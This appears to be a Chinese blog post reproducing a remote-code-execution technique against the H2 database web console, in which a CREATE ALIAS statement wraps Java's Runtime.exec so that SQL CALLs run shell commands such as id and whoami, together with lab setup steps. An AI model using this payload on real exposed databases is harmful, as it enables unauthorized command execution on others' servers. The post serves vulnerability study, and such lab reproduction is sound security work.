H2数据库Rce利用

0x01 前言

在分析SkyWalking的时候,发现该漏洞需要用到h2数据库的只是,于是就此复现下利用方式。可以说是对这篇文章的复现

https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

0x02 环境搭建

访问h2数据库官网下载数据库安装包

H2数据库Rce利用

切换到切换到h2/bin/目录下,执行

chmod 777 h2.sh
./h2.sh

访问8082端口,可以看到该数据库的登录界面,默认无密码

H2数据库Rce利用

直接登入该数据库,可以在sql语句执行框执行想要利用的语句

H2数据库Rce利用

0x03

利用alias别名,调用java代码进行命令执行

//创建别名
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

//调用SHELLEXEC执行命令
CALL SHELLEXEC(‘id‘);
CALL SHELLEXEC(‘whoami‘);

H2数据库Rce利用

执行whoami

H2数据库Rce利用

0x03 参考

https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

H2数据库Rce利用

上一篇:ehcache 使用实例


下一篇:mysql数据库查询当天,最近7天,最近1个月数据【杭州多测师】【杭州多测师_王sir】